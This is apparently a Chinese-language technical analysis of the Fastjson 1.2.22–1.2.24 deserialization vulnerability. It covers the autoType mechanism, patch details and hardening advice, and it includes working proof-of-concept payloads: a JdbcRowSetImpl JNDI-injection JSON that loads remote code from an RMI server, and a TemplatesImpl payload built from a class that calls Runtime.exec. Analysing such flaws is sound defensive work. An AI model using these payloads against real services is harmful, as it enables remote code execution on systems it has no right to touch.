Fastjson 1.2.22-1.2.24反序列化漏洞分析
字数 1707 2025-08-18 17:33:28
Fastjson 1.2.22-1.2.24反序列化漏洞深度分析
一、Fastjson简介
Fastjson是阿里巴巴开发的高性能JSON库,用于Java对象与JSON数据之间的转换。主要提供两个核心接口:
JSON.toJSONString:实现序列化(Java对象→JSON)JSON.parseObject/JSON.parse:实现反序列化(JSON→Java对象)
二、Fastjson序列化与反序列化机制
1. 序列化示例
public class Student {
private String name;
private int age;
// 构造函数和getter/setter方法
// ...
}
// 序列化操作
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
关键点:
SerializerFeature.WriteClassName:序列化时添加@type字段,记录类名- 无此参数时生成普通JSON对象,有则生成带类型信息的JSON
2. 反序列化方法
Fastjson提供两种反序列化方式:
parse:基础反序列化parseObject:基于parse,额外调用toJSON处理对象
// 需要@type指定类名才能正确反序列化
String jsonstring = "{\"@type\":\"Student\",\"age\":80,\"name\":\"ghtwf01\"}";
System.out.println(JSON.parse(jsonstring)); // 只触发set方法
System.out.println(JSON.parseObject(jsonstring)); // 触发set和get方法
三、漏洞原理
根本原因:Fastjson的autoType特性允许指定任意类进行反序列化,当目标类的getter/setter方法中存在危险操作时,可导致任意代码执行。
漏洞触发条件
- 反序列化的类存在危险的getter/setter方法
- 使用
@type指定恶意类 - Fastjson版本在1.2.22-1.2.24之间
四、漏洞利用链分析
1. JdbcRowSetImpl利用链(JNDI注入)
利用原理:通过JNDI注入实现RCE
POC:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/Exploit",
"autoCommit":true
}
攻击流程:
- 攻击者搭建RMI/LDAP服务
- 服务端提供恶意类(如执行计算器的类)
- 受害者解析恶意JSON时触发JNDI查询
- 加载远程恶意类执行代码
关键调用栈:
connect:643, JdbcRowSetImpl
setAutoCommit:4081, JdbcRowSetImpl
invoke0:-1, NativeMethodAccessorImpl
...
parse:137, JSON
2. TemplatesImpl利用链(字节码加载)
利用原理:通过_bytecodes字段传入恶意类字节码,触发getOutputProperties时实例化执行
恶意类示例:
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
// 必须实现的两个transform方法
// ...
}
POC构造:
import base64
fin = open(r"TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{}}' % fout
关键点:
- 必须继承
AbstractTranslet类 _bytecodes需Base64编码- 必须设置
_tfactory为{} - 通过
_outputProperties触发
调用栈:
<init>:13, TEMPOC
newInstance:423, Constructor
getTransletInstance:455, TemplatesImpl
newTransformer:486, TemplatesImpl
getOutputProperties:507, TemplatesImpl
...
parseObject:197, JSON
五、技术细节解析
1. Fastjson反序列化流程
- 创建
DefaultJSONParser解析JSON字符串 - 检测
@type指定的类名 - 通过
TypeUtils.loadClass加载类:- 先检查mappings缓存
- 使用ClassLoader动态加载
- 创建
ObjectDeserializer - 调用
deserialze方法处理各字段 - 通过反射调用setter/getter方法
2. 关键问题解答
为什么必须继承AbstractTranslet?
defineTransletClasses方法会检查父类名,非ABSTRACT_TRANSLET会抛出异常
为什么_bytecodes需要Base64编码?
- Fastjson在解析时会自动对
_bytecodes内容进行Base64解码
为什么需要设置_tfactory为{}?
- 避免
defineTransletClasses方法因_tfactory为null而报错
六、补丁分析
1.2.25版本修复措施:
- 用
checkAutoType()替换TypeUtils.loadClass - 采用黑白名单机制:
- 白名单优先检查
- 不通过时检查黑名单
- 黑名单包含常见危险类:
bsh, com.mchange, com.sun., java.net.Socket, java.rmi, javax.xml, org.apache.bcel, org.apache.commons.beanutils, org.apache.commons.collections
七、防护建议
- 升级到最新安全版本(≥1.2.83)
- 关闭
autoType功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 严格限制反序列化的类范围
八、参考资源
- Fastjson官方GitHub:https://github.com/alibaba/fastjson
- 漏洞分析文章:
- http://xxlegend.com/2017/05/03/title-fastjson远程反序列化poc的构造和分析/
- https://www.mi1k7ea.com/2019/11/07/Fastjson系列二——1-2-22-1-2-24反序列化漏洞/